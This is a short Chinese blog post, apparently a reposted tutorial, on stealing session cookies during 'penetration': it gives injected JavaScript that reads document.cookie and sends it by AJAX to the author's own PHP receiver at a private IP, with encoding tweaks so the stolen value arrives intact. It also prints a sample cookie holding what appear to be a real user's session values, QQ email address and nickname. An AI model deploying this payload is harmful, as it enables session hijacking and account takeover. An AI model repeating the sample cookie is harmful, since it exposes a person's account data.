作者:as8244433 | 来源:互联网 | 2017-05-13 02:17
在渗透的过程中,可以在网页中插入JS代码来获取COOKIE:document.COOKIE那么获取到的COOKIE如何传到我们自己的服务器呢?
在这里,我使用的是AJAX技术。但是Ajax有一个跨域的问题,所以需要再http头部再进行设置。这里主要讲COOKIE的提交。
先看一段JS代码:
xmlhttp.open("GET","http://192.168.17.63/HelloPhp/receiveCOOKIE.php?COOKIE="+document.COOKIE,true);
这里将从网页获取到的COOKIE提交到receiveCOOKIE.php上,其中COOKIE有一部分是这样的:
ULV=1450275143055:1:1:1:182.138.174.191_1450275139.121259:;SGUID=1450275146558_35957829; vjuids=-37098b091.151ab228f90.0.920dc7c7;vjlast=1450275148;SUP=cv%3D1%26bt%3D1450275168%26et%3D1450361568%26d%3D40c3%26i%3D2611%26us%3D1%26vf%3D0%26vt%3D0%26ac%3D2%26st%3D0%26lt%3D1%26uid%3D2277147785%26user%3D493354115%2540qq.com%26ag%3D4%26name%3D493354115%2540qq.com%26nick%3D%25E7%25BB%25BF%25E8%258C%25B66888%26sex%3D1%26ps%3D0%26email%3D%26dob%3D%26ln%3D493354115%2540qq.com%26os%3D%26fmp%3D%26lcp%3D;SUBP=0033WrSXqPxfM725Ws9jqgMF55529P9D9W5o5Vidv35CH47We9hTzl.1;
ALF=1481811169;
那么提交的过程中遇到特殊字符"%","&"等,就会自动解析,导致传参数错误。
解决的办法是:
var COOKIE = document.COOKIE;
COOKIE = escape(encodeURIComponent(COOKIE));
xmlhttp.open("GET","http://192.168.17.63/HelloPhp/receiveCOOKIE.php?COOKIE="+COOKIE,true);
在receiveCOOKIE.php接收即可:
$COOKIE = $_GET["COOKIE"];
$COOKIE = (urldecode($COOKIE));
以上就介绍了Php提交包含特殊字符的参数的方法,包括了方面的内容,希望对PHP教程有兴趣的朋友有所帮助。